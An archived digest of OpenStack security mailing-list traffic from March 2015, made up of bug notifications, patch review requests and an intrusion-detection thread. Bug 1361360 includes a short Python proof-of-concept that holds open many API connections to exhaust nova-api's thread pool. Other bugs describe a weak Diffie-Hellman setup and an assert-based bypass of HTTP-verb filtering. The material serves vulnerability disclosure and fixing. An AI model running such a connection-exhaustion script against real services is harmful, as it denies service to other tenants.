From davanum at gmail.com Sun Mar 1 17:49:24 2015 From: davanum at gmail.com (Davanum Srinivas (DIMS)) Date: Sun, 01 Mar 2015 17:49:24 -0000 Subject: [Openstack-security] [Bug 1368073] Re: [Security-NIST]SimpleDH in nova/virt/xenapi/agent.py does not fit the NIST References: <20140911075020.4966.25460.malonedeb@wampee.canonical.com> Message-ID: <20150301174925.17597.70490.launchpad@gac.canonical.com> ** Summary changed: - [Security-NIST]SimpleDH in nova/virt/xenapi/agent.py does not fit the NIST + [Security-NIST]SimpleDH in nova/virt/xenapi/agent.py does not fit the NIST -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1368073 Title: [Security-NIST]SimpleDH in nova/virt/xenapi/agent.py does not fit the NIST Status in OpenStack Compute (Nova): Confirmed Status in OpenStack Security Advisories: Won't Fix Bug description: class SimpleDH(object): """This class wraps all the functionality needed to implement basic Diffie-Hellman-Merkle key exchange in Python. It features intelligent defaults for the prime and base numbers needed for the calculation, while allowing you to supply your own. It requires that the openssl binary be installed on the system on which this is run, as it uses that to handle the encryption and decryption. If openssl is not available, a RuntimeError will be raised. """ def __init__(self): self._prime = 162259276829213363391578010288127 self._base = 5 self._public = None self._shared = None self.generate_private() def generate_private(self): self._private = int(binascii.hexlify(os.urandom(10)), 16) return self._private def get_public(self): self._public = pow(self._base, self._private, self._prime) return self._public def compute_shared(self, other): self._shared = pow(other, self._private, self._prime) return self._shared def _run_ssl(self, text, decrypt=False): cmd = ['openssl', 'aes-128-cbc', '-A', '-a', '-pass', 'pass:%s' % self._shared, '-nosalt'] if decrypt: cmd.append('-d') out, err = utils.execute(*cmd, process_input=text) if err: raise RuntimeError(_('OpenSSL error: %s') % err) return out def encrypt(self, text): return self._run_ssl(text).strip('\n') def decrypt(self, text): return self._run_ssl(text, decrypt=True)  Nova use the SimpleDH to call the xen agent to set the root password of the instance. In NIST, the DH algorithm need |p| = 2048 bit, and |q| = 224 or 256 bits In the SimpleDH, |q| = int(binascii.hexlify(os.urandom(10)), 16) It was only 24*4 = 96bit p = 162259276829213363391578010288127 is far less than 2048 bit So the SimpleDH is not fit the NIST To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1368073/+subscriptions From gmollett at redhat.com Sun Mar 1 22:04:04 2015 From: gmollett at redhat.com (Garth Mollett) Date: Mon, 02 Mar 2015 09:04:04 +1100 Subject: [Openstack-security] Host and Network Intrusion detection In-Reply-To: References: <5D7F9996EA547448BC6C54C8C5AAF4E501026310F1@CERNXCHG41.cern.ch> Message-ID: <54F38CD4.3050708@redhat.com> I proposed a project for students at a local university here, that was sort of along these lines: http://cs.anu.edu.au/TechLauncher/project540627.html I had planned to post about it on this list once the students had some ground work to show, unfortunately at this stage it looks like it hasn't got enough expression of interest from students to actually go ahead and run. On 02/15/2015 10:17 AM, matt wrote: > tap as a service will be very useful in this if it ever gets written and > merged. =/ > > On Sat, Feb 14, 2015 at 12:31 PM, Sriram Subramanian > wrote: > >> Tim - did you get any response on this? >> >> On Tue, Jan 6, 2015 at 10:39 AM, Tim Bell wrote: >> >>> >>> >>> I asked on the operators list but someone suggested I ask here. >>> >>> Does anyone have experience of open source host and network intrusion >>> detection with OpenStack ? >>> >>> The security guide has mention of a few systems but it is not clear on >>> the operational and performance impact of the different choices. The aim >>> would be to identify anomalous traffic out of the permitted computing >>> policies over 1000s of hypervisors. >>> >>> Tim >>> >>> >>> >>> _______________________________________________ >>> Openstack-security mailing list >>> Openstack-security at lists.openstack.org >>> http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-security >>> >>> >> >> >> -- >> Thanks, >> -Sriram >> 425-610-8465 >> www.sriramhere.com | www.clouddon.com >> >> _______________________________________________ >> Openstack-security mailing list >> Openstack-security at lists.openstack.org >> http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-security >> >> > > > > _______________________________________________ > Openstack-security mailing list > Openstack-security at lists.openstack.org > http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-security > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 473 bytes Desc: OpenPGP digital signature URL: From 1404862 at bugs.launchpad.net Mon Mar 2 13:00:49 2015 From: 1404862 at bugs.launchpad.net (Darren Birkett) Date: Mon, 02 Mar 2015 13:00:49 -0000 Subject: [Openstack-security] [Bug 1404862] Re: Horizon SSL configuration vulnerable References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150302130051.19703.24151.launchpad@wampee.canonical.com> ** Changed in: openstack-ansible/juno Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: Fix Released Status in openstack-ansible juno series: Fix Released Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From 1404862 at bugs.launchpad.net Mon Mar 2 13:11:12 2015 From: 1404862 at bugs.launchpad.net (Darren Birkett) Date: Mon, 02 Mar 2015 13:11:12 -0000 Subject: [Openstack-security] [Bug 1404862] Re: Horizon SSL configuration vulnerable References: <20141222115556.21788.73486.malonedeb@gac.canonical.com> Message-ID: <20150302131113.17393.24202.launchpad@gac.canonical.com> ** Changed in: openstack-ansible/icehouse Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1404862 Title: Horizon SSL configuration vulnerable Status in Ansible playbooks for deploying OpenStack: Fix Committed Status in openstack-ansible icehouse series: Fix Released Status in openstack-ansible juno series: Fix Released Bug description: Currently the Apache configuration for Horizon is very simple and therefore vulnerable to various forms of SSL and TLS attack vectors. The Qualys SSL test on the default setup results in a C grading. In order to ensure that best practices are implemented and anyone using os-ansible-deployment has a secure by default setup, this needs to be addressed. To manage notifications about this bug go to: https://bugs.launchpad.net/openstack-ansible/+bug/1404862/+subscriptions From gerrit2 at review.openstack.org Tue Mar 3 10:22:03 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 03 Mar 2015 10:22:03 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I60b42d5a5d71602be7adc321406ea87dfcf93f46 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/158480 Log: commit 7f0b2c98a55dbac09b82a237f8670e8910e8b793 Author: Geetika Batra Date: Tue Feb 24 04:32:51 2015 +0530 Fixes insecure use of asserts in cache.py The assert statement is replaced by if image_id == 'detail': continue As stated in the Python documentation assert statements will not be evaluated when the Python code is compiled with optimization flags. This means that these checks will not be properly executed and one can in that case call a specific method with a completely different HTTP verb. This can result in security issues. SecurityImpact Closes-bug: #1414532 Change-Id: I60b42d5a5d71602be7adc321406ea87dfcf93f46 From gerrit2 at review.openstack.org Tue Mar 3 10:45:53 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 03 Mar 2015 10:45:53 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I60b42d5a5d71602be7adc321406ea87dfcf93f46 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/158480 Log: commit 565566f417876a84ae815a7381d93d62597a9196 Author: Geetika Batra Date: Tue Feb 24 04:32:51 2015 +0530 Fixes insecure use of asserts in cache.py The assert statement is replaced by if image_id == 'detail': continue As stated in the Python documentation assert statements will not be evaluated when the Python code is compiled with optimization flags. This means that these checks will not be properly executed and one can in that case call a specific method with a completely different HTTP verb. This can result in security issues. SecurityImpact Closes-bug: #1414532 Change-Id: I60b42d5a5d71602be7adc321406ea87dfcf93f46 From gerrit2 at review.openstack.org Tue Mar 3 21:14:33 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 03 Mar 2015 21:14:33 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 02c43e58388ca3daea5efc166d53930596f74741 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Wed Mar 4 12:12:35 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 04 Mar 2015 12:12:35 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit ec06b3653f471c4317eb1089983637d68974375d Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From davanum at gmail.com Wed Mar 4 13:10:20 2015 From: davanum at gmail.com (Davanum Srinivas (DIMS)) Date: Wed, 04 Mar 2015 13:10:20 -0000 Subject: [Openstack-security] [Bug 1118066] Re: Nova should confirm quota requests against Keystone References: <20130207064604.19234.83660.malonedeb@gac.canonical.com> Message-ID: <20150304131020.12978.72982.malone@chaenomeles.canonical.com> There are no reviews, so this should not be in "In Progress" ** Changed in: nova Status: In Progress => Confirmed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1118066 Title: Nova should confirm quota requests against Keystone Status in OpenStack Compute (Nova): Confirmed Bug description: os-quota-sets API should check requests for /v2/:tenant/os-quota-sets/ against Keystone to ensure that :tenant does exist. POST requests to a non-existant tenant should fail with a 400 error code. GET requests to a non-existant tenant may fail with a 400 error code. Current behavior is to return 200 with the default quotas. A slightly incompatible change would be to return a 302 redirect to /v2/:tenant /os-quota-sets/defaults in this case. Edit (2014-01-22) Original Description -------------------- GET /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist returns 200 with the default quotas. Moreover POST /v2/:tenant/os-quota-sets/:this_tenant_does_not_exist with updated quotas succeeds and that metadata is saved! I'm not sure if this is a bug or not. I cannot find any documentation on this interface. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1118066/+subscriptions From gerrit2 at review.openstack.org Wed Mar 4 13:53:56 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 04 Mar 2015 13:53:56 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 9e6e87c772ba929d15c6bdb819f0f1b9a92a40ef Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From 1187107 at bugs.launchpad.net Wed Mar 4 17:20:56 2015 From: 1187107 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 04 Mar 2015 17:20:56 -0000 Subject: [Openstack-security] [Bug 1187107] Re: quantum-ns-metadata-proxy runs as root References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150304172056.21337.19785.malone@soybean.canonical.com> Reviewed: https://review.openstack.org/147437 Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=ac6cf685176c3a985a71174b9e8f0161068e38e0 Submitter: Jenkins Branch: master commit ac6cf685176c3a985a71174b9e8f0161068e38e0 Author: Cedric Brandily Date: Wed Jan 7 23:12:20 2015 +0000 Do not run neutron-ns-metadata-proxy as root on dhcp agent Currently neutron-ns-metadata-proxy runs with root permissions when namespaces are enabled on the dhcp agent because root permissions are required to "enter" in the namespace. But neutron-ns-metadata-proxy permissions should be reduced as much as possible because it is reachable from vms. This change allows to change neutron-ns-metadata-proxy permissions after its startup through the 2 new options metadata_proxy_user and metadata_proxy_group which allow to define user/group running metadata proxy after its initialization. Their default values are neutron-dhcp-agent effective user and group. This change delegates metadata proxy management to metadata driver methods in order to reuse the work already done on l3 agent side. Permissions drop is done after metadata proxy daemon writes its pid in its pidfile (it could be disallowed after permissions drop) and after metadata proxy daemon binds its privileged server port (80). Using nobody as metadata_proxy_user/group (more secure) is currently not supported because: * nobody has not the permission to connect the metadata socket, * nobody has not the permission to log to file because neutron uses WatchedFileHandler (which requires read/write permissions after permissions drop). This limitation will be addressed in a daughter change. DocImpact Closes-Bug: #1187107 Change-Id: I53e97254d560e608101010f67bd2dcdec81fb6a2 ** Changed in: neutron Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): Fix Committed Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From 1361360 at bugs.launchpad.net Wed Mar 4 22:41:14 2015 From: 1361360 at bugs.launchpad.net (Alan Pevec) Date: Wed, 04 Mar 2015 22:41:14 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150304224119.6132.51927.launchpad@wampee.canonical.com> ** Changed in: nova/icehouse Importance: Undecided => High ** Changed in: nova/icehouse Status: New => In Progress ** Changed in: nova/icehouse Milestone: None => 2014.1.4 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Wed Mar 4 23:34:03 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 04 Mar 2015 23:34:03 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit e8628e676127085f6ea81286625f5e6537a258c5 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From 1361360 at bugs.launchpad.net Thu Mar 5 01:06:18 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 05 Mar 2015 01:06:18 -0000 Subject: [Openstack-security] [Bug 1361360] Fix merged to nova (stable/icehouse) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150305010618.29031.85172.malone@chaenomeles.canonical.com> Reviewed: https://review.openstack.org/138811 Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=a657582c5cd8a39580c44ad401fd3e69870068b1 Submitter: Jenkins Branch: stable/icehouse commit a657582c5cd8a39580c44ad401fd3e69870068b1 Author: abhishekkekane Date: Tue Oct 21 01:37:42 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=0). Conflicts: nova/tests/unit/test_wsgi.py Note: The required unit-tests are manually added to the below path, as new path for unit-tests is not present in stable/icehouse release. nova/tests/compute/test_host_api.py This patch is not 1:1 cherry-pick, I have changed the default value of client_socket_timeout to 0, as per the policy for changes to stable branches. (https://wiki.openstack.org/wiki/StableBranch#Appropriate_Fixes) SecurityImpact Closes-Bug: #1361360 Change-Id: I399b812f6d452226fd306c423de8dcea8520d2aa (cherry picked from commit 04d7a724fdf80db51e73f12c5b8c982db9310742) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1414532 at bugs.launchpad.net Thu Mar 5 17:21:41 2015 From: 1414532 at bugs.launchpad.net (Robert Clark) Date: Thu, 05 Mar 2015 17:21:41 -0000 Subject: [Openstack-security] [Bug 1414532] Re: asserts used in cache.py References: <20150126041237.12665.35620.malonedeb@soybean.canonical.com> Message-ID: <20150305172142.11614.40178.launchpad@gac.canonical.com> ** Changed in: ossn Assignee: (unassigned) => Robert Clark (robert-clark) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1414532 Title: asserts used in cache.py Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Security Notes: New Bug description: The asserts in the snippet below check at #2 to see if the HTTP method match the HTTP methods actually specified in the patterns at #1. /opt/stack/glance/glance/api/middleware/cache.py PATTERNS = { <--- #1 ('v1', 'GET'): re.compile(r'^/v1/images/([^\/]+)$'), ('v1', 'DELETE'): re.compile(r'^/v1/images/([^\/]+)$'), ('v2', 'GET'): re.compile(r'^/v2/images/([^\/]+)/file$'), ('v2', 'DELETE'): re.compile(r'^/v2/images/([^\/]+)$') } ... @staticmethod def _match_request(request): """Determine the version of the url and extract the image id :returns tuple of version and image id if the url is a cacheable, otherwise None """ for ((version, method), pattern) in PATTERNS.items(): match = pattern.match(request.path_info) try: assert request.method == method <--- #2 image_id = match.group(1) # Ensure the image id we got looks like an image id to filter # out a URI like /images/detail. See LP Bug #879136 assert image_id != 'detail' except (AttributeError, AssertionError): continue else: return (version, method, image_id) As stated in the Python documentation assert statements will not be evaluated when the Python code is compiled with optimization flags. This means that these checks will not be properly executed and one can in that case call a specific method with a completely different HTTP verb. This can result in security issues. For example think of having some filtering in place in front of the glance API to maybe allow only certain API queries to come from certain IP addresses. For example: 'the HTTP verb DELETE may only be executed from this IP range'. An attacker can now specify a completely different HTTP verb such as GET and make sure he still matches regular expressions at #1 and then bypass the firewall. It's a bit of a hypothetical scenario but in general one should never ever do error checking with assert statemetns. This should only be done for things which can never realistically fail and that is simply not an assumption one can hold when it comes to untrusted input from the network. For more information see https://docs.python.org/2/reference/simple_stmts.html#the-assert-statement and https://docs.python.org/2/using/cmdline.html#envvar-PYTHONOPTIMIZE This seems to be related to https://bugs.launchpad.net/cinder/+bug/1199354 but it's not fixed and maybe it should even be a security issue hence why I reported it again and tagged as a security vulnerability. I am not familiar enough with the code base to make that call. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1414532/+subscriptions From gerrit2 at review.openstack.org Fri Mar 6 05:21:03 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 06 Mar 2015 05:21:03 +0000 Subject: [Openstack-security] [openstack/keystonemiddleware] SecurityImpact review request change Ic9402ef35ce3dd7c905d868a9eff7db5f3a4a40b Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/153247 Log: commit c682b07a4f7ce8d66dbee9976582edf0bc3ff2c6 Author: Alistair Coles Date: Thu Feb 5 15:01:50 2015 +0000 Delay denial when service token is invalid This patch modifies AuthProtocol to defer authentication to a downstream service if an invalid service token is found and delay_auth_decision is True. This makes the behavior for an invalid service token similar to that for an invalid user token. This is required by Swift because multiple auth middlewares may co-exist, and auth_token will currently deny a request on detecting an invalid service token when that service token is in fact intended to be validated by another downstream auth middleware. This is precisely the configuration used in devstack which configures both authtoken and tempauth in the Swift proxy pipeline [1]. Swift support for service tokens is currently in review [2] and functional tests will not pass using devstack without the change proposed here. [1] https://github.com/openstack-dev/devstack/blob/master/lib/swift#L396 [2] change I6072b4efb3a479a8e0cc2d9c11ffda5764b55e30 DocImpact SecurityImpact Closes-Bug: #1422389 Change-Id: Ic9402ef35ce3dd7c905d868a9eff7db5f3a4a40b From gerrit2 at review.openstack.org Fri Mar 6 05:30:56 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 06 Mar 2015 05:30:56 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change I94428288cb6851ae74bd80b02b761f3509a188fc Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/138051 Log: commit 6c89f3f6b44e44108807e0b59e8d6a57dd968c68 Author: Lakshmi N Sampath Date: Mon Dec 1 04:13:06 2014 -0800 Catalog Index Service Implements: blueprint catalog-index-service This is intended to improve performance of Glance API services while dramatically improving search capabilities. It will improve performance by offloading user search queries from existing API servers. In addition, we are working on numerous improvements in Horizon which will include improvements to image, snapshot, artifact details and searching. The desired user experience is greatly dependent upon a rich, dynamic, near real time faceted and aggregated search capability with a strong query language. DocImpact APIImpact SecurityImpact Change-Id: I94428288cb6851ae74bd80b02b761f3509a188fc Co-Authored-By: Lakshmi N Sampath Co-Authored-By: Travis Tripp Co-Authored-By: Murali Sundar From gerrit2 at review.openstack.org Fri Mar 6 14:18:12 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 06 Mar 2015 14:18:12 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, 